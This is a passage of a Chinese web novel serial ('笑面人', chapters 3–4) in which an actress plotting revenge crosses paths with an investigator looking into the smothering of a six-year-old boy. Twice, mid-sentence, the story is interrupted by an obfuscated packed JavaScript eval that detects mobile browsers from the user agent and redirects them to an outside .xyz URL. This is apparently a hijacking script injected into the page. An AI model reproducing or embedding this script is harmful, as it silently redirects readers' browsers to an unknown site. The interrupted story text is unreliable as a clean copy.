“九年前震惊全国的6·5案凶手李永辉,将于明天上午刑满释放。这起案件情节性质及其恶劣,被害人当时年仅10岁,李永辉的行为激起民愤,许多人认为十一年的有期徒刑处罚过轻,并担心他出狱后再犯,当地居民人心惶惶。下面请看……” “这儿有个魔鬼还逍遥法外呢,另一个就又快被放出来了。”夹着一沓照片的文件被放到了何将醉面前的桌上,“这是我跟你说过的那个案子,局里那几个老头怀疑是先前邻省那个连环杀人案的后续,没完没了地给我这边施压。这两天实在没什么大的进展,正好你回来了,拿来给你看看。” 最上面的那张照片里,一个男孩穿戴整齐平躺在草地上,长袖衣衫的包裹下只露出一张稚嫩的小脸,看上去仿佛只是沉睡而已。 置身于城北郊区森林的他,于六岁这年永眠。 3. 笑面人 三 每年都会光顾的花店,每次都会选上一束不同品种的鲜花。 因为说实话,直到离开,才知道自己对她的了解实在是少得可怜。 所以偶尔在每年的这一天,池观月会和小姨曾蓉一起来看望妈妈,想借着听她们儿时故事的机会再多了解她一点。 “他们的关系还是老样子,”两人缓步走向陵园,池观月回复曾蓉道,“从我爸妈结婚开始到现在,外公他就始终没给过我爸什么好脸色,看他跟看仇人似的。” 池观月的母亲和曾蓉是表姐妹,两人从小一起长大,关系如同亲姐妹一般。 也正因如此,池观月从小一直唤曾蓉为小姨,关系相处得也很是融洽,跟她儿子彭焕更是从小打到大的“革命友谊”。 池观月的外婆在自己女儿年龄尚小时就离婚了,尔后带着孩子嫁给了第二任丈夫。 这任丈夫对这个与自己无血缘关系的女儿视如己出,也因此对这位工作一忙起来就长期见不到人影的女婿十分不满,认为对方并不能照顾好自己的女儿。 他的这种不满在女儿去世之后尤甚。 抛开这点不谈,外公对池观月还是十分宠爱有加的。 “这两个人啊,真是的。”曾蓉语气满是无奈。 稍冷的天气冻得鼻尖有些发酸,昨晚自他们回家以后,应该又下了一场持续时间不短的雨。 土地潮湿,墓碑上还挂了一些水珠,池观月一身黑衣静立墓前。 墓碑照片里跟曾蓉容貌有几分相似之人的浅笑、以及台阶上意料之外先自己一步放置的淡色蔷薇花束,这些似乎就是今天不可多得的温暖了。 曾蓉和姐姐慨叹一些近况后,把时间和空间都留给了池观月,让她们母女叙旧。 说来讽刺,母亲的墓碑前是池观月在这个世界上为数不多可以放心做自己的地方。 无需顾虑,也无需逢场作戏的伪装。 哪怕她清楚这块墓碑下是空的。 眼眸低垂着,池观月沉默许久,终于深吸一口气抬头望向照片里的人。 “我知道您不在这里。只是没有其他地方可供我祭奠您,而这种事又是非做不可的。” 伸手拂去照片上的雨滴,池观月的眼中满是怀念。 “陪他演了这么多年的父慈女孝,我尽力了。” “我们的约定我还记着呢,今年是限期的最后一年——我会想办法让您尽早得以安息的。” “我清楚这么多年来的蛰伏,只为这么唯一一次机会。所以我不会失手,也绝不会手软。” “无论是那天跟她一起走的那位,还是她个人的相关信息,能查到的简直少得可怜。已知的都是些明面上的,她偶尔像昨天那样出去玩,也都是和那几个固定的朋友一起。这些看着倒都没什么问题。” “有时候太正常了反而有问题。”何将醉对此倒并不觉得有多意外,在贴满照片的白板上写下最后一行字端详片刻整理思路。 “也是。”周澄倚坐着桌沿点点头,想了想又冒出一句,“要是真出什么大事的话,你行动之前必须得第一个告诉我啊。我们全队上下可就你这么一个王牌,得想办法保护你的安全。” 何将醉懒得理对方的插科打诨,回头瞟他一眼:“想办法送我去安全的监狱是吧?” 他们彼此心知肚明何将醉这人视钱权皆为身外之物,凡事只看自己想不想,并不在意外界因素能不能。他真正在意的东西不多,若是难得有一个能勾起他兴致的话,他绝对誓死都不会放手。 带着点让人恐慌的自毁倾向。 值得庆幸的是,他们结识彼此在先,周澄对他秉性背景足够信任,只偶尔借此调侃几句。 “当年的案子目击证人一个都没有,相关人也都死的死伤的伤。你挑这么个时候钓鱼,浑水里到底还有几条鱼暂且不论,怕不是只会捞到一堆没用的边角料。” “水里有多少鱼不是我该考虑的事情。我该考虑的是作为一个钓鱼人,我的技术和耐心到底有多大。” 何将醉盖好笔帽,敲敲白板收拾话题。 “死者夏远宸,六岁,患有先天性心脏病,死因是口鼻孔被捂压导致的窒息,推测凶器为柔软物品。死亡时间——” “哦对了,死亡时间,”周澄插了句嘴,“发现尸体的时间距离实际死亡时间超过二十四小时了,所以最多只能精确到天——也就是三月二十一日左右。” 何将醉应了一声,继续道:“首先是抛尸地点——城北的郊区森林,还是树木茂盛的僻静地带。其次死者呈躺姿,衣着完整,后脑的开放性钝器创口共一处。无论是姿势、衣着状态还是创口形状和程度,均与此前邻省的连环杀人案的案件细节不同。非要说共同点的话,那也就只有被害人都是男孩、身上均有钝器伤这两点了。” “所以我说那帮老头就是觉得多一事不如少一事,巴不得把这案子和之前的连环案一起合并了结完事。”周澄抱臂吐槽道,随后话锋一转,“连环案的凶手改变了作案手法的可能性大吗?” “先前的连环案中,被掳走杀害的男孩均是凶手为了猥亵来获得性满足,这通常也是系列杀人犯犯案的原因之一。犯案原因不变,现场及被害人也会透露出同样的信息。更何况——” 何将醉转身把第二现场的照片圈了出来。 “抛尸这一行为,通常是凶手对被害人或对被害人所属群体鄙视和敌意的体现。被害人穿的是GORE-TEX面料的冲锋衣——这点在你们的报告里也提到了。冲锋衣的尺寸略大,刚好可以盖过手部,衣服上的兜帽也被戴上了。从照片来看整体衣着偏厚,虽然现在这个季节气温较低,但并不是冷到需要穿这么多的程度。” 周澄看向何将醉,似乎猜到了他接下来要说的内容。 荒郊野岭的地方难免会有许多蚊虫,再加上近些天来算不上太好的天气,按说尸体是很容易遭到各类自然因素的破坏的。 然而有人用衣物对尸体所进行的里三层外三层的仔细包裹,使其成功在短时间内免受这些问题的困扰。 如果不是尸体本身呈现出了窒息典型的紫红面色,其实很容易就会觉得孩子只是在熟睡而已。 第二现场呈现出的种种特征是矛盾的。 就算有人出于某种原因对一个六岁的孩子动了非杀不可的念头,那在这种杀意之下,为何对方却又对被害人呈现出了另类的关怀和愧疚感呢—— 不得已选择这样的方式结束你的生命,但又不忍心让你遭受风吹雨打。 “排除身强力壮的男性以及近期刚到本地的人。抛尸地点是只能徒步进入的林地区域且位置偏僻,这基本是长时间居住在本地的人才清楚的——这些显而易见的信息相信不用我说你也已经掌握了。”何将醉顿了顿,“我认为凶手应该是被害人很熟悉的人。” “被害人家属?” 何将醉不置可否:“正好你们一般不都是先从家属开始调查的吗,说说吧。” “被害人夏远宸的父亲是国内一家知名企业的老板,被——哎,那孩子的母亲也在这公司里任了个职,但实际其实挂名的成分居多,她大部分时间还是负责在家料理自家大大小小的事务以及照顾孩子。和夏家往来比较多的是孩子舅舅一家。两家约定聚会的当天,夏家人曾报案称夏远宸在聚会地点走丢了。此后第二天,孩子的尸体被人在城北郊区森林发现。” “至于夏家本身,基本上就属于那种标准的富商家庭了——大人事业有成,孩子活泼可爱,家庭关系和睦,对外也没什么矛盾。这些人里唯一有比较负面的信息的人就是这个舅舅了——之前赌博欠债,说是后来改过自新不赌了。” 周澄耸耸肩,表示对此人的改过程度持怀疑态度。 “赌债呢?姐夫帮着还的?” 周澄应了一声。 “窒息死……”何将醉想了想,“回头把家属的询问录像给我看看吧。” 毕竟到现在为止看到的案件相关的内容都是书面的,有些想法还是等亲眼见到再下结论为好。 “行,”周澄答应得干脆,琢磨一圈又换上了一副谄媚面孔,“那——为表感谢,特地为您准备了明天一年一度的赤阳奖颁奖典礼的入场券一张,诚邀您前去一睹我等所见不到的明星们。活动地点位于城中海丹酒店,楼上休息的房间也为您安排好了,吃喝管够,今日即可入住!” 何将醉停下脚步,回头跟这位颇为贴心的“大内总管”大眼瞪小眼了足有一分钟,直看得周总管心生凉意。 “你也说了,局里那几位一心想得到这案子与邻省案系同一人所为的结论。然而你今天带回去的,是一份不合他们心意的报告,所以为了不耽误两个案子的进度,他们应该会分别派人进行调查跟进。根据‘谁提谁负责’原则,城北森林这案的负责人大概率是你没跑了。”何将醉略一思忖,“这个时候提什么颁奖典礼,其实是被害人家属会参加吧?” 语毕,他一脸慈爱地看着面前用表情演绎人生走马灯的周澄。 周澄的表情最终停在了绝望上,忍辱负重地叫出一声“哥”。 被看穿就被看穿吧,男子汉大丈夫,要的不就是个能屈能伸。 “哥,你忙你的,跑行程这种事让助理跟着就行啊。” 池观月拉开保姆车后座车门的时候愣了一下,没料到经纪人居然也跟着一起来了。 “荧幕前的工作可比你之前拍音乐剧那时候复杂多了,得有个有经验的人照应,这事搁别人我不放心——何况我都跟公司说了不带其他新人了,有这时间拿来专门盯你一个人正好,实在忙不过来再另说。”经纪人方一尧边说边伸手把她的包接了过去,“等把你带起来之后啊,哥就可以彻底退居二线坐等退休了。” 池观月摇头失笑,嘴甜拍马屁:“就冲你这话我也不能火,让别人当经纪人我也不放心啊。要我说,当初进公司的时候你直接老老实实干管理层多好,非得自告奋勇给小屁孩当经纪人从头熬一遍。现在可倒好,后悔了吧?” “后悔倒还真没有。之前带过的那帮小兔崽子折磨得我至少少活二十年,也就到你这儿我才稍微省点心。”方一尧轻哼一声,把包里的透明文件袋掏出来递给她,“不过话说回来,再怎么着我这么多年来看人也从来没看走眼过,带过的人可都火了——你信我,这作品好好拍,你绝对能借这部剧大火打响知名度。” 斜靠在座位上的池观月接过已经翻来覆去翻阅无数遍的剧本,还是多少感觉有些不太适应:“这女二的戏份实在是太多了点。” “转型之作,能接到这么个戏份多人设好,还能和好几个流量明星一起合作,别人求之不得呢,你这什么反应?”方一尧恨铁不成钢地“啧”了一声,“就比如和你搭戏演男二的这位,他可是当下炙手可热的男艺人,去年以选秀第一的成绩出道,队内也是top级的,多少导演都想争他这第一部影视作品的出演机会呢。” “得了吧,音乐剧那圈子我待得挺乐呵的,听到流量这俩字就头疼,实力水平连个底都没有。”池观月低头翻找着剧本里自己之前做了标注的页面,言谈间对这位万众期待的明星并不感兴趣,“而且这离开拍也有段时间了吧?连还没出场的角色都至少打过一次照面了,唯独这个男二新鲜,有他的戏份一拖再拖,到现在我连个影都还没见过,这等到后面真要和他搭戏的时候还了得。” “今天的海报拍摄有你和他合拍的部分,估计这次他人应该会来了。”方一尧一眼看出她的不悦,了然补充道,“话说回来,这剧女一丁璇啊,论转型首秀的保障,还有比她更让你放心的吗?” 丁璇与池观月自学生时代起认识到现在,已经是多年的好友了。与自己不同,丁璇一开始涉足的便是影视剧领域,大大小小的奖拿了不少,实力和挑剧本的眼光都是没话说的。 也正因如此,池观月才在公司催命一样赶进度的时候,几乎没什么犹豫就接了这部剧。 “而且说实话我觉得这角色只有你能演出来那感觉。一人分饰一正一邪的两个角色,不外乎就是同一个人需要同时具备亦正亦邪两种气质。这点一般人既没有、也做不到,至于演技那就更不用说了,”方一尧比划着拼命搜刮着词汇试图对此加以形容,“就那种人性的复杂和扭曲,就那个劲儿,你明白吧,一般人真演不出来。” 池观月:“这认可怎么好像味儿不太对。” “还有一点,”方一尧不理她的质疑,神神秘秘地压低了声音,“说实话,最近的剧主角都太纯良了,没意思。就是要有反差的配角人设才刺激,演好的话能直接火出圈。” 最后这句话正中池观月下怀,她确实也是这么想的。 戏里不会有现实世界中的那些条条框框,这时候再演个标准意义下的好人,对她来说确实没什么意思。 “不过这剧也挺奇怪的,一开始连个试镜什么的都没有,不知道的还以为是哪个小作坊出来的呢。” “公司和演员实力都在这儿摆着呢,更何况谁让咱们老板比较——厉害呢,”方一尧琢磨了个相对文明点的措词,“他和剧投资方那个夏老板是老朋友了。这次也是因为对方有意想捧那个新人男二,咱们老板才提议拉你过来救急,说是自己人比较信得过。另外这部剧采取的不是边拍边播的形式嘛,形式新颖也算是他们的一大噱头吧。” 池观月直觉压力又大了几分:“那我当初要是没答应接这个本你可怎么办,全凭我良心啊?” “咱俩说白了就都是公司签的合同工而已,”方一尧一脸平和地拍拍她,“五指山下谁都甭想跑。” “……” 万恶的资本主义。 昏暗的灯光,散落一地的药片,荆棘与深色玫瑰丛生的布景。蜿蜒而出的带刺藤蔓顺着脚踝缠了上去,尖端隐约透着丝丝鲜血。 闪光灯对着池观月一通输出,从摄影师的表情来看,对方似乎对这组照片还挺满意的。可拍摄间隙翻看着那几张原片里妆容精致的自己,池观月总觉得差了点什么。 好看归好看,但这中规中矩的妆造设计,跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14978278|161450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 角色本人根本就是两模两样。 池观月胳膊肘碰了碰旁边正跟自己一起看照片的方一尧,起身想问问他想法。 不料她话还没出口就听见身后突然一声惊呼,扭头就见造型师一个躲闪不及,手里的红色颜料直接冲着她泼了过来。 粘稠的颜料顺着香槟色的长裙滴落,还溅了一些在裸露的皮肤上。 方一尧和摄影师同时回过身看见这幕皆是一愣,工作人员里有几个反应快的立刻一拥而上,手忙脚乱地边收拾残局边来回看着池观月和方一尧的脸色,还有几个连声道歉数落着那个闯了祸的造型师,所有人都生怕艺人这边先怪罪下来。 造型师明显是个刚步入职场没多久的小姑娘,经历过突发状况实在有限,因此也就更谈不上有什么应对措施,直接被吓得站在原地愣住了。 这种拍摄服装并没有准备备用款,重新化妆找衣服换上也势必会耽误接下来的拍摄进度,再加上艺人这边艰难的行程协调工作,整个拍摄团队一时间都陷入了慌乱之中。 “剧组那边的拍摄进度我可以联系导演稍微往后放放,这边让他们现在找人重新带一套衣服过来应该问题也不大,唯独需要花点时间清理的就是这个颜料。”方一尧审时度势,第一时间给出池观月解决方案,“或者这边的海报拍摄改日再进行也可以,具体事宜我去协商。” 池观月看着对面镜子里不断滴颜料的自己只觉得有点好笑,在听完方一尧的建议之后她定神想了一下,还是把他拦了下来:“我这多少还算是个新人,尽量还是别麻烦导演那边了,就当留个好印象。这边也不为难他们。” “那……” “就这么拍,没问题。” “没事啊姑娘,我不吃人。”池观月走过去笑着轻轻拍了拍那个姑娘的肩膀,低头看了一眼裙子柔声问道,“裙子可以剪吗?可以的话麻烦帮我拿把剪子来吧,刀片也行。” 见艺人这边主动给了个台阶下,拍摄团队哪还敢有什么异议,忙不迭地连声答应。造型师此时也终于回过神来,赶紧跑去把池观月要的东西拿过来给她。 池观月接过递来的剪子在裙摆上剪了几道,再顺着豁口把裙子撕成不规则的形状,浅色缎面长裙瞬间就有了战损的样子。 随手把微卷的长发松松垮垮地绾起来,再用手背把嘴角的口红晕开一些,池观月转身走回拍摄布景里:“辛苦各位再拍一组!” 吊带荡领设计的裙子,裸露出大片的皮肤,猩红的液体飞溅其上,还落了一些在脸颊一侧。 池观月低压下颌,挑眉抬起的眼神清澈如常,唇畔却带着轻蔑和挑衅微张上扬,整个人在布景的映衬下颇有些疯批美人的味道,看得在场的几个工作人员都不约而同倒吸了口气。 亦正亦邪的双重人设,终于在一张照片里同时得到了完美诠释。 果然自己的眼光没错,只有她能做到。 旁边观赏全程的方一尧对此深感欣慰。 “卡,非常好,准备下一组双人拍摄!” 首战告捷,池观月和工作人员互相欠身道声辛苦,回头就见正和策划沟通的方一尧微微皱了眉。 “实在不好意思,他们说是已经在来的路上了,我们在观月姐来之前也反复提醒过他们时间……” 听起来似乎是另外那边迟到了,策划明显感觉自己两边都得罪不起,只得夹在中间一个劲儿地道歉。 方一尧看向池观月:“剧组那边最迟需要四点半到。” “那最多还可以再等十五分钟?” “对。” “没事,那就再等会儿。” 池观月边说边接过方一尧怀里的外套披在了身上,拿着湿巾不紧不慢地清理身上的颜料。 脸上写满了不安的策划自知理亏,本来今天他们内部就出了乱子让演员亲自忙活了半天,好不容易单人拍完了这下人又没到齐,流程也进行不下去了,即使池观月现在就走,也是完全合情合理的。 “那个什么大明星,我早就看他不顺眼了,耍大牌不是一回两回的了,净会摆谱。” 半晌,不知道哪个工作人员大着胆子吐槽了一句。 “就是,上次定的上午十点的画报拍摄,结果整个组愣是等他们等到了下午两点……”有人率先打破沉默,不少“知情人士”紧跟着就附和了起来。 池观月佯装没听见众人你一言我一语的吐槽,心中却明白过来原来这人是个惯犯啊。 那现在这是什么?下马威? 眼看着时间快到了,尽职打配合的方一尧也正好提着刚订的咖啡外卖回来。于是池观月顺势起身诚恳道:“抱歉了大家,下个行程比较急,我得先走一步了,后续拍摄工作可以跟我的经纪人联系。咖啡是给大家的,辛苦各位了。” 今天这一趟下来意外不少,但池观月也借此赚了不少好感度,所以倒也不亏。 和工作人员们道完别没多会儿,正往走的两个人就听见了楼外的哄闹声。不用想都知道,肯定是那位被众人千呼万唤的大明星始出来了。 果然,相对设立的两部电梯同一时间停在三楼打开了门。其中一部电梯里被众人簇拥着的人,正好和池观月走了个对脸。 “诶——”对面“护驾团”里的人言行里掩不住的趾高气扬,出声试图叫住池观月和方一尧。 池观月脸上星星点点的暗红色颜料还没来得及擦干净。那副一看就跟刚从地狱里走出来的装束,外加单手拎着外套的姿势,让池观月潇洒得仿佛什么都没听见似的,看都没看对面的人一眼,面无表情地直接上了另一部电梯。 方一尧紧随其后。 电梯门关上的一刹那,身处C位那位好奇的目光和电梯里冰冷的视线不期而遇,硬生生被吓了一激灵。 电梯门彻底关上,向下运行。 方一尧歪头看了看池观月:“怪不得,你现在这样就跟刚在里面杀疯了出来的似的,确实得把人家小鲜肉给吓得不轻。” 池观月不甚在意地随手蹭了一下脸:“没注意看,刚才路过的那个就是男二?” “哈哈哈对,”方一尧在一旁终于没憋住,幸灾乐祸地笑出声来,“今天绝对是他人生魅力的滑铁卢,估计应该是生平第一次被人这么无视吧。” “媒体给流量、粉丝砸钱,结果就惯出来这么个连基本职业操守都没有的人——这都什么毛病。”池观月掏出正在响的手机看了一眼,又补了一句,“爱谁谁,我不惯着他。” 方一尧对她的脾气再熟悉不过了,轻笑着一点头,快走几步领路找车去了。 走出楼门,池观月接起响了半天的电话:“喂您好?” “您好,”对面的人先是礼貌进行了一通自我介绍,然后说出了此次通话的目的,“现在是想和您确定一下下次的咨询时间。” 悦耳的声音,说的内容却让人愉悦不起来。 似乎是被阳光晃了一下,池观月不舒服地眯起眼,适应着室外的光线。 “……那就明天晚上吧,可以吗?” 4. 笑面人 四 私家车平稳驶向目的地,后座上身着高定礼服的夫妻两人自上车起就毫无交流。 丈夫介入线上会议,时不时地向电话那头的下属下达指令,妻子则有意无意地与他隔了些距离落座,保养得当的皮肤几乎不见岁月痕迹,然而那双望向窗外的眼神却空洞得毫无光彩。 直到持续许久的紧急会议终于被挂断,女人还依旧保持着先前的姿势,即使身旁的人轻轻握住她的手也没能牵回她的视线。 “怎么没戴婚戒?”男人面露不悦,边问边把另一只手探向外套口袋。 虽说是刚提起这件事,但实际他一早就发现了,只不过刚从百忙之中抽出时间有空“问责”了而已。 平静质问的语气里暗含的意思,连前排的司机都听出了个大概。 女人闻言终于回过头来,顺着对方视线看向自己的无名指,漠然道:“忘了。” 直接到丝毫不在乎对方对此有什么情绪。 男人放在兜里的手一顿。 前排的司机虽说多年以来早已修炼出“眼观鼻,鼻观心”的本事,对除自己工作内容外的一切事宜自动过滤。但听到老板夫人这句话时,他还是不自觉内心咯噔了一下,连口大气都不敢出。 男人抬眼一扫她,强行压下了提住的那口气,沉默地拿出戒指给她戴上。 这枚婚戒原本是被“遗忘”在了洗手池搁板上的,他在出门前偶然间发现,于是顺手带了出来。 出席面向公众的活动时,他们二人一向都会戴上婚戒,到时候再在媒体前挽手表现出一副和睦恩爱的样子以供拍摄和宣传,婚姻在商界最有利的价值之一就体现于此了。 这些无需提醒,早已经成为二人心照不宣的流程套路。 见她似乎仍旧沉浸在前几日的悲伤里失神无法自拔,男人脸色缓了缓,难得地没再追究。 “下次别忘了。”伸手一捋她颊边碎发,几个字堪称温柔的警告。 虽说早在几天前,活动名单及时间就已经被主办方公布出来,用来进行相关预热吊足粉丝的胃口,但活动地点始终是保密的,也不知道粉丝们是哪儿听来的小道消息,居然一早就摸过来了。 天刚蒙蒙亮,就已经有手拿应援物的粉丝等在了路边。 还是昼夜温差有些明显的季节,一群男孩女孩穿着厚厚的外套,搓搓冻得有些僵硬的手,蹦蹦跳跳着试图缓解寒冷。不过从他们交谈洋溢的笑脸上,不难感受出他们对即将开始的活动以及自家偶像的期待。 作为相对较早到达目的地的第一批参与者来说,池观月自觉已经充分感受到了这群粉丝的热情。目测接下来的十分钟里,将会有比现在多三到五倍的粉丝抵达战场。 幸亏她出门早,没跟其他艺人们一起扎堆挤活动场地。 看来错峰出行的意识什么时候都要有。 无意中扫了一眼,刚好就看见了应援物上熟悉的名字。 池观月拿出手机给丁璇发了张现场实拍图,附赠一条幸灾乐祸的消息:“哈哈哈准备好接受粉丝爱的洗礼吧。” 虽说池观月和丁璇同属国内数一数二的娱乐公司旗下,但与粉丝体量超大的歌手和影视剧演员相比,鲜少有路人认识池观月这个音乐剧演员——不过这倒也正是她入行时的初衷:发挥所长,还能尽可能地落个清净。 然而即便如此,一身墨色的oversize西装套装配上她高挑的身材还是有些惹眼。 墨镜遮面,长发飘逸潇洒。为了避免颜色单调,相较常规款略长的上衣衣襟还以一尾枪色金属游鱼代替纽扣加以固定,整身装束衬得她几乎没什么温度。 反正颁奖礼正式开始的时候她还得再换套衣服,入场以及预热活动的穿戴她就直接按照自己平时的风格来了。 结果从下车到进入大楼的这几步路,池观月简直赚足了回头率。 任众人如何讨论,也不知道她到底姓甚名谁。 相较楼外,楼里又是另一番光景——虽然活动主场地布景早在几天前就已经布置好了,但是不到活动正式开始那一刻,就总还会有许多细节是需要反复检查调试的。 所有工作人员的神经都紧绷着,生怕出一点差池。 池观月单手捏着几份待会儿采访要用到的材料,另一只手漫不经心地刷着热搜里人们关于此次活动的讨论。 划着划着,她突然就看到了热度被迅速压下的那条李永辉出狱的新闻。 正拧眉一边细看李永辉过往恶行一边走向电梯的时候,身后与自己同向的不和谐高跟鞋声意外引起了池观月的注意。 借着进电梯的机会,她回头透过墨镜扫了那人一眼。 关注的原因是感觉对方的身份似乎不太一般——急促的脚步使得脚下的高跟鞋声凌乱不已,到电梯的这几步路被身后那人走得磕磕绊绊的,听起来对方应该是个并不常穿高跟鞋的人,可偏偏又是在这么个场合—— 池观月回头看到的是一张年轻女孩清秀的脸庞,然而女孩打电话时的言辞语气却与外表给人的第一印象十分不符。 “她啊?她算什么东西?你就等着看吧,许曼最新一期的节目嘉宾肯定是我。”上扬的尾音带着几分势在必得的得意,“公司安排算个屁,新剧剧本都能为了我专门新添一个角色,公司就算再怎么安排,最后也得向着我这边……是啊,这也多亏了我们老板和夏氏老板关系好……怎么说话呢你!有机会当然就得充分利用了,这叫近水楼台先得月!” 女孩看起来完全沉浸在和朋友的对话里,并没有抬头注意电梯里的其他人。 路都还走不利索的小姑娘,就已经开始急着算计别人了。 偏偏池观月手里采访材料的对象正是许曼。 虽然不知道女孩口中所说的新剧到底是哪部,但是所谓的“近水楼台”,倒是让池观月想起来经纪人先前跟她说过的那位“夏老板”了。 本能的危机意识让她隐约意识到这个女孩的不同寻常。 收回目光,池观月率先按下了自己房间所在的二十一层,身旁女孩见此没有动作,看来她们两人要去的是同一层了。 电梯到了二十一层,女孩先一步走了出去。 走廊太长,站在原地观察必然会引人怀疑。 眼看自己的房间和女孩的目的地分处两个不同的方向、没有合理的理由跟上去了的时候,池观月抬眼正好看见一身休闲装束的何将醉从女孩的方向走了过来。 两人擦肩而过,看样子他刚从自己的房间里出来。 “有机会当然就得充分利用了”这话倒是不假,只是没想到实践机会这么快就送上门来了。 逢场作戏这种事对池观月来说简直再拿手不过了,只不过现在看着对方这张脸,她总会下意识联想到自己在黑暗里给他上铐,还大放厥词说那东西就是“玩具而已,玩过几次就熟了”。 甚至还说下次教他…… 短短几秒间,池观月已经把人生的走马灯在脑子里全都过了一遍。 是错觉吗? 怎么感觉对面那个男的看向自己的眼神都带着似笑非笑的戏谑。 然而当下情况紧迫,她能想到的办法只有这一个…… 算了,怎么说自己也是个专业的演员,豁出去了。 大不了他不问她装傻,他一问她惊讶。 反正他和自己一样都不是什么善茬。 池观月暗自一咬牙,表面上扬起嘴角,仿佛真的是见到了许久未见的男朋友一般,捏起嗓音小跑几步一把挽住何将醉的手臂:“亲爱的我来晚了!” 池观月有意将自己隐于何将醉的身形之中,没有急于拉他转身向前走。她这一句话就是想打消女孩的疑虑,也尽量避免两人的样貌被对方看到——听到她说的话,女孩一定会回头看。 “帮帮忙。” 池观月仰头尽量让自己看上去一脸真诚,双唇微微翕动,示意何将醉给个面子。 何将醉双手插在口袋里无动于衷,既不惊讶也丝毫没有搭话给台阶的意思,甚至用口型无声对她发出质疑。 “哪位?” “喂,”那么机敏的人没道理这时候突然犯傻,池观月忍不住摘掉墨镜伸手小幅度一怼他肩膀,向他背对的方向扬扬下巴,声音压了又压,“帮个忙,条件你开——就赢了你一局牌而已,怎么还记仇呢。” 何将醉一挑眉,终于配合地转身揽着她向自己的房间走。 “没记仇,只是一时间没认出是老师而已。” 池观月此时的全副身心都在观察着女孩的目的地,随口接了句话:“老师?什么老师?” “不知道啊,老师就说要教我,也没说要教什么。” “……” “我猜可能是教我打牌?你想的是这个吗?” “……” 池观月一直以来当的都是扮猪吃虎开贼船的人,这次居然罕见地变成了上贼船的人。 何将醉的房间位置相对而言更靠近电梯,趁他刷卡开门之际,池观月确定了女孩的房间号——2105。 进屋后的何将醉也没着急追问池观月什么,反倒无言倒了杯水递给她。 池观月接过水向他道了声谢。 “这层住的主要都是参与活动的公司代表。”何将醉看着她,似乎是看出了她所想。 “这么好?还附赠一条情报?”池观月有点意外。 两人今天不过才第二次见面而已,意外地一个比一个自来熟。 “当然不是白给的了,得让你多欠我一个人情。” 池观月无语地靠在沙发上:“你这怎么还强买强卖呢?” “房主姓名需要吗?”何将醉话说得堪称平和友善,但看在池观月眼里就只有“奸商”二字,“虱子多了不咬,债多了不愁啊。” 池观月不禁觉得面前的人有些可疑:“你怎么知道这么多?” 何将醉坦然地一耸肩:“巧了,我办入住手续的时候刚好看见了。不过那人我不太熟,脸和名对不上号,我得查一下才知道。” 池观月一听这话,马上露出了一副“你也不怎么样嘛”的表情,试图借机压对方一头。 “我的知识面还是没你广,”幽幽的声音飘了过来,“得麻烦你多教教我了。” 放松警惕却被人戳中某处的池观月难得一哽,一时间也不知道这男的到底是故意的还是不小心。 不过话说回来,她从来不信会有天上掉馅饼这种事,她缓了口气狐疑地眯起眼回归正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14978279|161450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 题:“你想要什么?” “没见到‘货’就着急给‘钱’的,你是第一个,”何将醉低头专心搜索关键词,“等我找到告诉你之后再聊交换条件也不迟。” 倒也是。 反正消息到手,又没人限制她不能讨价还价,主动权还是在她手里。 池观月给足他时间搜索,自己乐得自在。 手腕上的金属表盘随着动作在窗外阳光的照射下投出一圈淡淡的光晕,何将醉单手拎着长款外套斜靠着边柜,衬衣衣袖被解开挽了一圈,露出了结实的小臂。 这身材再配上这张脸—— 池观月琢磨着要不把这人给自己公司的招聘组引荐一下,他这模样当个模特什么的应该是没问题的。 只是不知道她这个负责内推的中间人有没有介绍费可拿。 “是他。”何将醉把手机递过来给她看。 池观月盯着屏幕上再熟悉不过的人,瞬间冷下神色。 何将醉撑着桌面,观察着她细微的表情变化:“我想要你帮的忙很简单……” 池观月完成颁奖礼的先行采访活动之后,颁奖礼仍尚未开始。 邻座的丁璇一见池观月过来落座,立刻迫不及待地拉着她开始发问。 “前天晚上漫野那边是不是出什么事了?我走的时候还问彭焕来着,他说他也不知道。” “出了点小意外而已,没什么大事。”池观月轻描淡写带过话题,“我让他先送你走主要是怕你被拍到。毕竟你这张脸的知名度太高了,万一跟负面新闻沾上边的话,容易被营销号抓住把柄炒作,到时候就解释不清楚了。” “意外?”丁璇显然是把重点放在了她的第一句话上,对自己差点摊上的危机则毫不关心,“你没出什么事吧?” “丁女士你可真是不解风情啊——我没事,我没当那个闹事的就已经不错了。” “这倒是。” 池观月笑骂着瞪了她一眼。 丁璇拉过她的胳膊,眨眼讨好般笑笑:“喂,怎么说也是要上电视的人了,注意点形象小心别被人抓拍到,否则这回头可都是你的黑历史。” 大约半小时后,大荧幕上终于开始播放活动主办方精心制作的宣传短片。 出席了这次活动的演员大多都在这支短片里露脸了几秒,每一位旁边都附上了属于各自简短的介绍语。 一幕幕晃过,池观月突然就捕捉到了那个在电梯里见过的面孔—— “祝晴?”池观月若有所思地重复了一遍字幕显示出的名字。 “她啊,咱们公司的新人演员,老板好像还挺看好她的,人还没出道就给砸了不少资源。”邻座的丁璇最近忙于新戏拍摄,对这位同公司的新人演员了解也算不上太多,“听说许曼姐那个超火的节目下一期嘉宾定我们公司了,估计老板应该会安排给祝晴。” 池观月联系了一下自己在电梯里听到的内容,觉得一切就都说得通了——何将醉给出的2105房主看来是对的,那屋住的正是她们老板。 